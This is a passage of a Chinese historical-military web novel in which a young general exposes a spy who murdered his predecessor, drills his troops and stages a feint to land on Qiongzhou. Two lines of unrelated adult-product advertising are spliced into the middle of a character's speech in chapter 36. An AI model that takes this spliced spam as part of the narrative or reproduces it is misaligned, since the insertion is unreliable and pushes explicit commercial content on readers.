要是平常人家。尸体放置这么久,早已腐烂难闻。但军队里由于军人的特殊性。常常是离家千万里战斗。一旦牺牲,要运回故里,所需的时日较多。为防止尸身在归途中腐烂,都会在棺椽里放置大量防腐的药物。

如今安伯胥的四周,便放置了许多防腐的药物。他的尸身也依然如同刚刚入殓一样。

李尚东上前去,伸手在安伯胥的身上东摸西量的。然后他转过来对温子君说道:“禀将军。安将军身上只有心口一处刀伤。可见是一刀致命。刀口仅半寸多一点,极似分水刺所为。其右手指甲的确有一些皮肤碎屑,应该是凶手刺进他的心脏后,他临死前的最后一击。那些皮肤碎屑带有血色,说明凶手一定被抓伤得很深。他的表情不是惊骇,而是惊讶,很有可能这个凶手是安将军认识的。”

李尚东的分析再一次显示出自己的能力。众将听了,都纷纷侧目。

温子君点点头。

王进二人又重新把棺盖盖上。

温子君说道:“下面我们去凶杀现场看看。”他一心要把杀害安伯胥的凶手找出来,只有这样,才能最快获得安伯胥旧部的信任,才能真正指挥他们。

众将都跟在温子君后面。温子君停下来,说道:“由匡将军陪本将去就行了。尔等先自己回去。”

甘茂岩听了,极不情愿,但见其他人都没说什么,也就紧跟着回去了。

在路上。温子君问匡正和,说道:“不知匡将军在安将军帐下做了多久?”

“回将军,”匡正和连忙答道,“末将乃是由安将军一手提拔,并且在他的帐下做了八年副将。”

“哦?”温子君应道,“其他副将亦是如此么?”

匡正和答道:“那倒不是。我的时间最长。其他人有的六年。有的五年……最短的是甘茂岩,他是一年前被安将军提拔的。”

来到安伯胥遇害的寝帐,外面站立着一圈守卫。

匡正和把温子君引见给守卫。他们都一一向温子君行了礼。他指着守卫中的一个壮汉,说道:“这位是守卫队长,当晚就是他率先冲进去的。”

温子君“哦”了一声,问守卫队长,说道:“你把当时的经过都仔细说一遍。”

守卫队长听了,忙道:“是!回禀将军。当时正是属下刚刚换班回来,便听到安将军的惨叫声。于是属下率十多个守卫,全部冲进将军帐里。而将军已然倒在血泊之中,回天无力。”

温子君问道:“你们见此情景,接下来是怎么做的?”

守卫队长答道:“属下当时一时愣在原地,呆若木鸡。心里早已乱做一团,不知该怎么办。这时,甘将军赶来了。他立即吩咐我们马上退出帐外,守在帐外,保护好现场。过了一会儿,匡将军他们也赶来了。”

温子君接道:“哦?甘将军是除了你们以外最先赶到现场地,那么,哪一位将军是最后一个到的呢?”

守卫队长低头想了想,说道:“应该是晁将军最后一个赶到的。”

进了寝帐,里面甚是简单。

左侧横着一张木榻,木榻对面是一张桌子。沙地上铺着大红地毯,上面还描绘着一朵朵金色的大菊花。

安伯胥被刺倒地的地方,就在木塌前的地上。他的血流在地毯上,把金色地菊花染成了暗红色。

温子君向李尚东与王进望了一眼。王李二人会意,开始在帐内各处仔细查了起来。可是一无所获。

温子君蹲在安伯胥倒地处,逐寸逐寸地搜查。

他终于发现,在离安伯胥最近的那个木榻地一角,有一个淡淡的手印,之所以能够发现,是因为那手印上粘着一些细沙。

极少的沙粒,如果不仔细的话,一定会被忽略。

温子君连忙唤进守卫队长及几个守卫,叫他们把木榻移开,再让他们就用手中的长刀挖沙。

惊人的一幕出现了。

守卫们在离安伯胥倒地不远的木榻下的沙地里,挖出了一包黑衣!

谁是凶手?

第三卷 沙场秋点兵 第033章 众将归心

谁是凶手,已是呼之欲出。

温子君叫王进与李尚东二人把挖出的黑衣平展开来。从黑衣看,凶手的身材并不高大。黑衣左肋已被撕烂,有丝丝血迹。

甘茂岩正是五短身材,双肩甚为宽实。当时最早接触到安伯胥的便是他,黑衣应该便是他把守卫们支开后藏于榻下。

为求稳妥,温子君把匡正和叫过来,问他:“甘副将是个怎样的人?”

匡正和听了,一愣,讶道:“将军,你这是……莫非将军以为甘副将是凶手?”

温子君答道:“那倒还不清楚。你们所有人都有嫌疑。”

匡正和听了,一头冷汗冒了出来,忙道:“请将军明察!末将对安将军绝无二心!”

温子君手一摆,说道:“好了。还是我问你答较快。甘副将是几时归入安将军麾下的?”

“大概是一年前左右。安将军去京郊狩猎,遇到一帮蒙面人的功击,危急之时,甘副将出现,力拼蒙面人,最终把蒙面人击退。他也受了重伤,被安将军带回营地休养,然后就跟在安将军手下做事。在几次平定山贼中,勇猛的他脱颖而出,成为升得最快的副将。”匡正和答道。

温子君又问道:“我看他的肤色,应该很喜欢游泳吧?”

“不错。他自小在海边渔村长大,水性极好。来到岭南后,他每天都要去海边游水,还拉着我们也去玩水。”匡正和回答,过了一会,他又说道:“不过,自从安将军被刺后,他就再也没有去游水了。末将有时拉他去,他也只是到海边看我等玩。”

温子君听了。沉吟不语,过了不久,他对匡正和说道:“匡副将,劳烦你去把所有副将都请到这里,就说本将有事要宣布。”

匡正和还想说什么,但见温子君对他摆摆手,便也不再说什么,径自领命出去。

王进与李尚东见状,都若有所悟。

李尚东问道:“依将军所言,难道甘副将他……”他说得小心翼翼,并且没有说完。

温子君点点头,说道:“本将亦宁愿不是。但种种迹象表明,甘茂岩他脱不了干系。”

刚说完,匡正和把副将全带了进来。

安伯胥的七位副将就站在温子君的面前。

匡正和行礼道:“禀将军,末将等七位副将已到,请将军吩咐。”

温子君点点头,然后沉声说道:“各位将军。本将此次召尔等前来,乃是有要事相告。”双眼扫了一下他面前的七人,才道:“杀害安将军的凶手,本将已经有了眉目。”

所有人的目光都集中在温子君身上,却都一声未吭。

温子君突然脸色一变,一股森冷之气从其身上散发出来。

他沉声说道:“杀害安将军的凶手,就在你们七人当中!”一手指向匡正和七人。

匡正和与甘茂岩地心里都不由地一突。其他五人却有点惶恐地望着温子君,仿佛生怕温子君会把他们指成凶手。

“凶手就是你!”温子君指着甘茂岩厉声喝道,“甘茂岩!”

甘茂岩听了,全身一震。眼中的惊惧一闪而过,很快又回复了平静。他一脸惊慌失措的样子,惶然道:“请将军明查,末将,末将怎么会杀安将军?末将能有今天。全是拜安将军所赐。末将感激还来不及,怎会杀他?”

温子君冷笑一声,说道:“哼!安将军能有今天,全是拜你所赐才是真的。”

匡正和这时站出来说道:“将军,末将以为,甘副将是凶手一说。实在是有待商榷啊。”他还是难以接受温子君所说的话。

不单是匡正和。其余五位安伯胥的旧将,亦都无法接受温子君所指。

甘茂岩又忙道:“请将军明查!”

温子君却叫道:“李副将。将那套黑衣展示给甘副将看!”

李尚东把手里的黑衣展开。

众人都望向那件黑衣,然后又望向甘茂岩。

温子君沉声道:“这黑衣乃是本将在安将军的木榻下发现的。

本将听守卫说,当时安将军被刺时,最先赶到的是甘副将。而且,甘副将还把守卫全都赶出帐外。这黑衣,便是甘副将你趁无人时藏在木榻下地吧?”

甘茂岩见到黑衣时,脸色一变,但很快就又恢复平静。面对温子君的质问,他用平常的声音答道:“温将军,如果末将就是凶手,为何要把黑衣藏在此处而不把黑衣带走?”

温子君冷笑道:“你不是不把黑衣带走,而是无法带走。因为四周都有人赶来,如果把黑衣放入怀中,必会被他人发现,因此,你只好把黑衣藏在床榻下。”

甘茂岩接道:“末将亦是听到安将军的惨叫声才赶来的,守卫们都可以作证。”

武陵亦道:“不错!末将等亦是听到安将军的惨呼声就连忙赶到帐中啊!”

温子君说道:“可是,甘副将的寝帐并不是离安将军最近的,为何会最先赶来?按理说,最近的应该是匡副将,最先赶到的应该是匡副将。为何甘副将却早一步?这只能说明,甘副将早就在安将军的寝帐里!”

宗建元插道:“如果说甘副将早就在安将军的寝帐里,那么,守卫他们冲进去的时候,应该发现才是,为何却没有哪个守卫看见呢?”

温子君指着帐门的右边一处说道:“事实是,凶手杀了安将军后,并没有出帐,而是躲在帐门旁。守卫们听见安将军的惨叫,冲进去后自然都拥向安将军倒地的地方。这时,凶手便可以从后面跟上前去,守卫则以为是刚刚从外面赶进来的。”

众人都一副恍然大悟的样子。

甘茂岩却道:“这一切都只是将军的猜测而已。那件黑衣,不错,跟末将的体形的确相近,但是,适合它的人也应该是海了去了吧?为何偏偏认为是末将呢?还有,谁又知道凶手是否真的躲在帐门边呢?”

温子君听了,冷笑道:“你们去看看那里,对,就是本将刚才指的地方。本将刚才发现,在帐布上有一丁点淡淡的血迹。安将军倒地的地方离门那么远,他的血怎会溅到这里。就算可以溅到,也不可能只有这么淡的一丁点。唯一能说明的就是,这是凶手留下的。”

“还有,”温子君指着黑衣被撕破处,继续说道:“本将听匡副将说,甘副将是在海边的渔村里长大的,来到岭南后,每天都要去海边游水。但是自从安将军被刺以后,却从不下水了。本将看来,原因无他,只因你的左肋被安将军抓伤,不敢脱衣。甘副将,是也不是?”

甘茂岩听了,脸色有点慌乱,他急道:“不!这全都是将军的猜测,当不得真的。末将没有杀安将军!”

温子君又冷笑一声,说道:“既然如此,就请甘副将解开衣裳,让大家检验一下你的左肋吧。”

于先英听了,说道:“甘副将,为了解除将军对你的怀疑,也为了证明你的清白,你就脱下衣裳给将军看一下吧。”

甘茂岩此时脸色大变,大声地叫道:“不!我为何要解开衣裳?”

其他几位副将听了,脸色亦是一变。见到甘茂岩如此,他们不得不起疑心。怎么看,甘茂岩的话都有点不打自招的意味。

温子君亦脸色一沉,厉声说道:“既然如此,就休怪本将了。王进李尚东,给我把他拿下。”

王进与李尚东应了一声,便向甘茂岩扑去。

其他的副将都不由地闪到一边。他们如今立在中间,左右为难。一边是刚刚上任的年青将军,身为将军,不可能无中生有,任意妄为的;一边是曾经杀过敌的战友,他们曾经一起出生入死,共饮敌人的鲜血。因此,他们不知如何是好,帮哪边都不好,但是,好像不帮也不好。人人脸上都焦急万分。

甘茂岩的武功要比王进或李尚东一人高,但此时对着两人,却刚好打成平手。几息之间,三人便斗得难解难分。

久斗不下,甘茂岩率先拔出长刀来,王进与李尚东也不甘落后,都拔出了自己的佩剑。过了十几招,甘茂岩的长刀便被磕飞了。

手无寸铁的甘茂岩,却又从袖间甩出一把兵器,居然是一把分水刺!

匡正和等见状,脸色大变。

桑灵怒道:“甘茂岩!没想到真的是你!你为何要杀安将军?”

匡正和亦愤然道:“甘茂岩,没想到匡某看错你了。枉我们还兄弟长兄弟短地叫得那么亲热!可是你却……”

众人纷纷指责甘茂岩。

甘茂岩有了分水刺在手,武功竟然高了不少,就连王进与李尚东的双剑,亦对他无可奈何。

但此时,其他副将又怎么可能放过他呢?他们义愤填膺,一拥而上。

……

温子君一到军营,便把刺杀安伯胥的凶手找出,让安伯胥的在天之灵感到欣慰。而安伯胥的旧将亦对温子君佩服得五体投地,从此均对其忠心不二,任凭其差遣。

第三卷 沙场秋点兵 第034章 厉兵秣马

甘茂岩被捉后,坦承了一切,但随后便咬碎藏在牙中的毒药,毒发身亡。

原来,甘茂岩乃是琼州叛军的奸细。上次安伯胥的三十万大军被击溃,除了不善水战外,更大的原因,是甘茂岩向叛军泄露了军情。他坦承的,也就是这些。

最让温子君吃惊的是,甘茂岩不单是琼州叛军的奸细,而且还是京城金翼门的人!

甘茂岩毒发身亡的症状,跟在苏州郑园的洪桓中毒身亡的症状一模一样。如果不是巧合,那就只能说明,甘茂岩亦是金翼门的人。但这显然不是巧合,因为洪桓还曾经说过,这毒药只有金翼门才有。

这样一来,琼州的叛军就不再是单纯的叛乱。

事情一下子复杂起来。

金翼门在琼州叛乱中,到底居于什么地位?

协助琼州叛军?

还是说整个琼州叛乱就是金翼门在背后策划的?

金翼门的目的何在?

所有的疑问都无法探知。

温子君唯有加快兵士的训练进程,尽快攻上琼州,捉拿叛军,才有可能找到答案。

※※※※※※※※※※※※

温子君把安伯胥旧部十二万与新兵十万全部打散,重新整合。

按照编制,每八人为一伍。八人中新兵老兵都有,伍长由八人竞争出来,并且,八人都须排好位,如果伍长不幸战死,便由排第二的士兵指挥,如此依次而为,直至最后一位。

不单每一伍里如此,队、曲、旗、营……均会给将士排位,指挥战死。自有后者继任,从而不影响战斗。

二十二万大军,从中挑选了二万精锐,成为温子君的直隶卫军。剩余二十万,分为五个部队,每一部队四万士兵,由两位副将统领。王进他们四人亦都打散与匡正和等分在一起。

大凡要兴兵打仗,必须首先训练部队学会怎样作战。全军将士只有平时经过严格训练,全面掌握疏开、收拢、集结、分散的战术方法,完全熟悉停止、行动、前进、后退的作战号令。那么,使用这样的部队对敌作战时。他们在看到指挥旗帜的不同挥动而应变自如,听见鸣金击鼓地不同声响而进退得当。这样,就能战无不胜。

战国时期,魏国的名将吴起在其《吴子》一书中说道:“夫人常死其所不能,败其所不便。故用兵之法,教戒为先。

一人学战。教成十人;十人学战,教成百人;百人学战,教成千人;千人学战,教成万人;万人学战,教成三军。”

战法训练要教会部队运用以近待远,以逸待劳,以饱待饥;阵法与战术训练要教会部队懂得怎样由圆阵变方阵,由跪姿变立姿,由前进变停止,由向左转向右。由向前转向后,由分散变收拢,由集结变疏开。各种战法、阵法和战术变化都进行认真训练之后,才可以给部队配发兵器。

训练由各部的副将负责,他们严格按照温子君的布置进行训练。

军人的三个准则。第一,服从;第二,服从;第三,还是服从。

温子君要所有将士首先要做到的,便是服从。每个将士都应把服从当作第一准则。

不听从命令者,初次鞭笞四十。再犯杖打八十。三犯者,杀。

这是温子君上任后的第一条军规。开始实行时。新兵老兵都有人触犯此军规,但在温子君斩杀了三人后,再无人敢犯。

温子君还给全军新增一条军规:每天晚上睡觉前,均须读《论语》半个时辰。

全军的将士,大部分来自平民百姓,并且大部分都是目不识丁之流。当然,会读书的那些书生,亦不可能被招进来。他们认为,作为战士,只要勇敢,一往无前地杀敌便可以了,他们根本不需要识字。

这条军规刚颁布时,许多将士都不理解。就连副将们都有点不知所以。许多人都认为,他们本来是舞刀弄枪的勇士,如今却要吟诵之呼者也,其战力必定减退。但是,在温子君把副将武陵鞭笞一顿后,再无人敢不遵从这一军规。

让众将侧目的是,自从读了《论语》后,兵士们的纪律性更强了,战力不单没有下降,反而有所上升。

赵普半部《论语》治天下。可见《论语》蕴含了多少治国安邦,为人处事的道理。其中许多关于自身修养的道理,如里面谈到如何做一个君子,说只要做到仁者无忧,智者不惑,勇者不惧三条便是一个君子。

同样是打打杀杀,但读了《论语》后,将士们的心灵受到一次净化,他们面对敌人时,会更加冷静,勇敢,坚强。

后来,温子君又加上一本《孙子兵法》。当然,他并不是说要把所有将士都培养成一个孙膑。只不过,像《孙子兵法》这样的兵书,至少读一读是无妨的。更何况,有些人根本就读不懂。但古语有云:“读书百遍,其义自见。”读了总比不读要好,很多事情,我们做了总比不做要好。

黄河帮里来的一百名精通水战的帮众,亦分派到各个部队,配合副将们一起训练兵士。

温子君的二万亲卫军,全部都分到各部去训练。他自己可没有人负责训练。

方灯河还向温子君建议,给全军的战船都涂上一层胶。这种胶,乃是由海里的鲨鱼的皮提炼出来的胶原料,配以山上的几种木胶,合炼出来的。战船涂上一层这种胶后,其行驶速度可以提高原来的三至五成。

温子君听了,立即采纳了方灯河的建议。并且交给方灯河负责实施。

在龙泉铸造的十万斩马刀,五万长枪,二万铁盾,已经陆续运来。

唯有弓箭没有运来,说明君临风已经有了铸造诸葛弩的可能。

斩马刀,长枪及铁盾一到,便已派发到每个将士手中。而安军原来的兵器亦已全数上缴,再返回到龙泉重铸。

至于弓箭手,则还是用原来的弓箭训练。

所有将士厉兵秣马,不断地训练自己,不断地提升自己的战力。

第三卷 沙场秋点兵 第035章 万事俱备

谢天谢地两兄弟带着龙凤小队亦来到了岭南。

温子君见到谢天谢地二人一来,便立即吩咐他们把两人的合击之术简化一下,要求既简单又实际。然后他便要求每个部队都派一百人前来,由谢天谢地教授双人合击之术。学好后,再各自回军营教授所有将士。

合击之术,既可以增强兵士间的团队意识,又可以提升战力。

龙凤小队经过一段时间的潜修,武功均更上一层楼。虽然许多人看上去都只是个大孩子,稚气未脱,但他们眉眼间透露出来的英气,却是让人不敢小觑。

温子君把二万亲卫军也调了回来,然后把龙凤小队扔给亲卫军。任凭他们互相比斗。

※※※※※※※※※※※※

将军帐里,众将聚在一起,开始商量如何平定琼州叛乱。

温子君如今把将军帐设在龙塘。

匡正和指着琼州的地图,说道:“上次末将等从海安出发,直向琼州的琼山攻去。但是,没想到,我军进入海口湾时,叛军却分别从铺前湾及澄迈湾左右夹击我军。最后我军死伤惨重,铩羽而归。”说完后一个人嘘唏不已。

于先英接着叹道:“如今想来,完全是因为我军的进攻路线已经被甘茂岩泄露给了叛军,才导致我军败走琼州海峡。”

晁海接道:“我军的进攻路线泄露是一方面;但不得不承认的是,我军对于叛军的分布情况,一点也不知情。正所谓知己知彼,百战不殆。叛军有着琼州海峡这个天然屏障,两地之间是相隔十几里的海域。这让我军的斥侯一点办法也没有,叛军只要把守沿海,斥侯根本无法上岸去打探军情。”

王进听了,无奈地说道:“那我们岂不是还没开战,便已经失了一招?兵法中都说不要打没有把握的仗,我们如今不正是如此么?”

上官袭明叹道:“如果能够拥有像匈奴的军队那样斥侯,那该是多好啊!这样的话,就不必为那十几里的海域发愁了。”

温子君一直低头在看地图。其实他也一直在头痛,叛军的情况一点也不了解。副将们的谈论他也一直在留意。听到上官袭明的感慨,他抬头问道:“哦?匈奴的斥侯?”

上官袭明听了,点头道:“是的。匈奴除了常有的骑兵作斥侯外,还有一种斥侯,那就是空中斥侯——猎鹰。猎鹰经过训练。可以探知敌情,敌人的行军。驻营,均可探得。有了猎鹰,就会比敌人多一双眼睛。”

温子君听了,突然喜道:“这么说,只要我们也有这空中斥侯,便可以探得叛军的情况?”

上官袭明点头道:“正是。只可惜。猎鹰是匈奴专有,外人难以获得。就算有幸获得猎鹰,其训练更是匈奴的不传之秘,外人根本无法获得。”

温子君却抚掌笑道:“虽然无法得到匈奴地猎鹰,但本将亦有空中斥侯——小羽!”

“小羽?”众人都不由地疑道。

“难道是一只草原上的猎鹰?”王进疑道。

温子君摇摇头,神秘一笑,说道:“到时你们就会知晓。来来来,我们继续研究研究一下如何登陆琼州吧……”

※※※※※※※※※※※※

几天后,红鸟赤羽出现在众将面前。

燕京三英一见,都不由轻呼起来。面前的红鸟。跟温子君以前画的那只,可谓是一模一样。

匡正和他们见了如此漂亮的鸟儿,却有点怀疑它担当军里的空中斥侯的能力。

当温子君吩咐小羽去海上捉回一只还活蹦乱跳的海鸟后,众将都相信它可以与草原上的猎鹰相媲美了。

※※※※※※※※※※※※

君临风带着他锻造出来的强力弩箭来到温子君的帐前时,红鸟小羽已经被派到琼州海峡对岸去探察敌情了。

研究了诸葛弩以后,君临风改造了两种弩。

一种是在诸葛弩的基础上,除了增强了射击力以外,还添加了一个箭匣。箭匣装在弓弩中轴的下方,与射击口相连。只要系在弦上的弩箭被射出去以后,箭匣里的弩箭就会自动跳上弦上,处于待射状态。弓弩手可以省去上箭的时间,射速足足提高了两倍。

要知道,在战场上,一呼一息之间。都可以决定战局的胜负。

弩箭的射速提升两倍,足以左右战局。

还有一种,可谓是巨型诸葛弩。其重有一百四十三斤,一个人无法使用,更无法举起来射。它必须固定在某一位置,由二人拉弦才能系上弩箭。弩箭亦是甚为巨大,重有二十九斤。此弩自然也不是专门用来射人的,而是君临风专门为战船设计的巨弩。只要被此弩箭命中,战船就算没有洞穿,亦会倍受打击。

诸葛弩共有三万张,每个部队分得五千张。巨型诸葛弩则每艘战船都配备了三架。

※※※※※※※※※※※※

将军帐里。

温子君指着地图,说道:“小羽已经探得琼州叛军的兵力分布。这里,居中地琼山,兵力最弱。其左边的新海以及右边的新埠海两处的兵力基本均衡,却比琼山的兵力多两倍。如果我军贸然进攻琼山,则其左右两翼的兵力尽出,形成两翼包抄之势。那我军唯有溃败一途。”

宗建元听了,叹道:“上次我们进攻琼山,正是因为左右两翼突然出现大量敌船,致使我们大败!”

武陵接道:“那我们要如何抢滩登陆?进攻琼山,则两翼的叛军会前来支援。进攻新海或者新埠海,其他两处地叛军亦必然会前来支援。”

桑灵亦道:“或许,我们可以带着军队从龙塘出发,绕过琼州海峡,一直驱船到琼州的最南端,直接攻上崖州去好了。”

崖州乃是琼州郡地府衙所在,地处琼州最南端。

上官袭明却摇头道:“此计不可,我们的船只能够绕到琼州南端,只怕我们的将士们也已经无力再去抢滩登陆了。”

匡正和是众将中最为稳重的,他转而对温子君问道:“不知将军有何良策?”

温子君神秘一笑,说了八个字:“明修栈道,暗渡陈沧!”

第三卷 沙场秋点兵 第036章 登陆琼州①

琼州海峡位干海南岛和雷州半岛断陷的中部,其连通北部湾和珠江口外海域,是琼州郡与岭南的自然分界。海峡东西长约八十公里,南北平均宽度为二十九公里,琼州海峡最宽处直线距离为三十三公里,最窄处直线距离仅十八公里左右。琼州海峡两岸的海岸曲折,呈锯齿状,呷角和海湾犬牙交错。

尤倦飞,琼州军的先锋将军,正悠闲地坐在将军帐外的沙滩上。他左边是一位侍官,手里捧着一瓶椰汁酒,乳白色的液体正倒往大将军左手的酒杯里。

望着蔚蓝色的大海,一碧万里的晴空,白色的海鸟在空中滑翔,耳畔传来海浪不停冲刷沙滩的哗哗声,海鸟偶尔的鸣叫声,尤倦飞心里甚是惬意。

生活便当如此。

尤倦飞年届四十,他在人生的长河里拼搏了二十多年,到如今的确感到有点疲惫了,就像他的名字一样,他已厌倦漂泊。

尤倦飞对朝庭没有丝毫好感情。反之,他对朝庭还是满腔愤恨。当初他一人到京城,想一展所长,却只因为他的长相不堪入众人之眼而倍受排挤。如果不是因为他遇到一个人,他如今也不会如此舒适地坐在海边饮酒了。

朝庭的军队如此不堪一击,这是尤倦飞意料之中的事。对于水战,朝庭的军队可以说毫无经验。琼州海峡在他们眼中,就像把牛郎织女隔开的银河。更何况,琼州军早在发动兵变前一年,就已安插了一些人进入朝庭的各个军队当中。如此一来,朝庭不管派哪支军队来,尤倦飞都对他们了如指掌。而朝庭军却对一海之隔的琼州军一无所知。这样的话,以有心算无心,自然是战无不胜了。

“杨锋!甘茂岩还没有消息吗?”尤倦飞淡淡地问道休息一下 广告时间:金冠信誉人气第一充气娃娃自慰名器 买一送7 日本品牌代言 内部全仿真阴道倒模 点击进入

休息一下 广告时间:持久延时 外用成人用品 黑寡妇煞星 早泄克星 点击进入。

“回将军的话。甘副将最后一次消息是说朝庭派了一个年青的平南将军来。”杨锋便是那位侍官,他继续答道:“后来便一直都没有他的消息了。”

“哧!朝庭真的无人了么?居然派一个黄毛小子过来。”尤倦飞轻笑道,“不过,甘副将会不会已遭不测?”后一句是冷声说道。

杨锋恭谨地答道:“回将军的话,凭甘副将的能力,应该不会露出什么破绽。”

“哼!但愿如此。怕只怕……”尤倦飞冷声道。

太阳正缓缓呈现出弧形,渐渐沉入遥远的海平线。

黑暗即将到来。

尤倦飞一口把杯中的椰汁酒倒落喉间,然后把酒杯递给杨锋,站起转身正要回营,却见一个副官急急地赶了过来。人还未站定,嘴里便说道:“将军!有探子来报。岭南军现在有了新的行动!”

“什么?”尤倦飞惊道,“那个甘茂岩怎么没有消息传来?”

副官脸色瞬间变得有点难看,说道:“回将军,只怕,只怕甘副将他,他已凶多吉少,惨遭不测了。”

“哼!”尤倦飞冷声道,“果然不出我所料!”

尤倦飞派出了近千名水性极佳的兵员,沿着琼州海峡像渔网一般撒了出去。一半的海域里都有探子在日夜不停地观察着琼州海峡的动静。

回到将军帐,早有几位副将等在里面。

尤倦飞前脚刚踏进军帐,嘴里便开始问道:“这次岭南军是否仍然攻我琼山?”

跟着尤倦飞进来的那个报信的副官立即答道:“据探子回报,岭南军此次进攻的乃是新海。”

“哦?变聪明了?”尤倦飞坐下后接道,“那黄毛将军吸取了上次的经验,害怕我们的左右夹击了?”顿了一下,他又问道:“岭南军的兵力如何?新海的兵力能否与之相抗衡?”

副官显然非常了解岭南军这次的进攻,也可以看出那些探子观察入微。副官答道:“回将军。从船只来看,约有两千艘,按每艘乘坐七十兵力算,大概有十四万人。”

“十四万?!”尤倦飞惊道,“差不多是上次的兵力了。

难道岭南军想一举攻下新海。从那登陆?那我军有多少兵力驻扎在新海?”

“只有十万人。”副官答道。

尤倦飞大手一挥,急道:“马上派六万人前去支援新海!”

这时,另一个左耳吊有一个大耳环的副将站了出来,沉声问道:“将军!我们琼山总共只有八万人,这样派出去,会不会使琼山有危险?”

尤倦飞还没回答。另一个高个子的副将又提道:“不如派新埠海的兵力赶去支援吧。”

“不!”尤倦飞断言拒绝道。“如今再调新埠海的军队,只怕会赶不上。唯有先把琼山的兵力调去增援。李贻黎剑云听令,速带六万将士前去支援新海!”

“是!”大耳环与高个子同声应道,然后一人接过兵符便出了军帐。

李贻与黎剑云刚出去不久,远远又传来一声长长的“报……”,接着才听到马蹄声响起。帐外一阵喧哗,奔马嘶鸣。马还没停稳,马背上的探子便急急跳下马,冲进尤倦飞的帐中,行礼道:“禀将军!岭南军离新海还有十五里时,突然调头,直向琼山驶来!如今距琼山还有十四里。”

“什么?!”尤倦飞刚刚坐下又跳了起来。

如果李贻他们六万将士遇到岭南军的十四万大军,定然不会有好下场。

尤倦飞连忙点着身旁的杨锋,急道:“快!把李贻黎剑云都拦下来。快去!”

杨锋急匆匆地出了门。

“来人!”尤倦飞叫道。

帐外进来一个侍官打扮的人,行礼道:“将军有何吩咐?”

“赶快发出信号,叫新埠海的欧保桥派兵来支援!叫他把全部兵力都派来,本将要把那十四万岭南军像上次那般痛宰一番!”尤倦飞吼道。

侍官领命出去了。

尤倦飞对那位赶来报信的探子说道:“这次你辛苦了!下去休息吧。”

“是。”那探子应了声也出去了。

尤倦飞冷哼道:“黄毛小子,以为这样突然调转攻击目标就会乱我阵脚么?哼!你还嫩着呢。这次就让你有来没回!”

※※※※※※※※※※※※

琼州的新埠海沿海岸往北上走,大概行了八十里左右,便到了琼州的最北端,一个尖尖的海角,名为木头栏。

木头栏外面的海域是一片礁石区。礁石区再往北十海里处,静悄悄地停着五百艘战船。

战船上黑灯漆火,如果不驶到近处的话,定然无法发现这支庞大的队伍。

围在中间的一艘战船上,船舱里灯火能明,但窗门都已紧闭,就连木板地缝隙也都堵塞了,半点光也透不出去。

温子君坐在舱中,跟他一起地还有宗建元,桑灵,晁海,王进以及方灯河。温子君身后还站着一个俊俏的男子,其实是女扮男装地丁鱼。

方灯河对温子君说道:“禀将军,我那一百名兄弟都已经先一步前去探路了。过不了多久,应该就有消息了。”

温子君点点头。

宗建元却担心地说道:“不知匡副将他们如今形势如何了。万一真的受到了叛军左右的夹击,只怕……”

温子君听了,平静地笑道:“你们不用担心。小羽如今都在他们身边,只要一发现叛军有形成夹击之势时,他们就会退回去的。”

王进接道:“对!匡副将他们此次的行动,主要是把新埠海的兵力调开,好让我们乘虚而入。”顿了一下,他又说道:“只是,不知黄河帮的兄弟们能否迅速完成探路的任务啊。”

温子君又笑道“不急不急,我们还有时间。”

不一会,外面传来划水声。

方灯河立即出去,不久便一脸喜色地冲进来,嘴里叫道:“成了!成了!”

众人都站了起来。

方灯河说道:“禀将军,前面果然不出所料,是一片礁石区。因此叛军布下了少量的探子在礁石区里。他们全都被我黄河帮的兄弟解决了。”

温子君听了,亦是喜道:“好!”

方灯河又道:“而且,我那兄弟们已经摸出了一条安全的行船路线,保证能够平安到达琼州的最北端,木头栏!”

“好!”温子君又说道,“大家立即行动!”

“是!”众人都应声出去了。

五百艘战船悄无声息地驶进礁石区。有了黄河帮那一百名水中精英在前面带路,都顺利地穿了过去。

当战船的底盘触及到柔软的沙滩时,岭南军都精神一振。

当初,牺牲了十八万之众也未能成功登陆的琼州,如今却不损一兵一卒便抵达了。

只有温子君那艘船的人全都上了岸,其他将士依然在船上待命。

温子君的将船上除了他与几位副将等以外,还有谢天谢地两兄弟及龙凤小队。

一上岸,温子君便命令谢天与谢地各领龙队凤队,往前方去探路。如果遇有暗哨,格杀勿论。当然,随行了还有三十名军人。

龙凤小队的武功如今在军中已是佼佼者,但他们的实战经验缺乏。而军中的将士,虽然武功没龙凤小队好,但胜在有实战经验。二者正好相互弥补,相得益彰。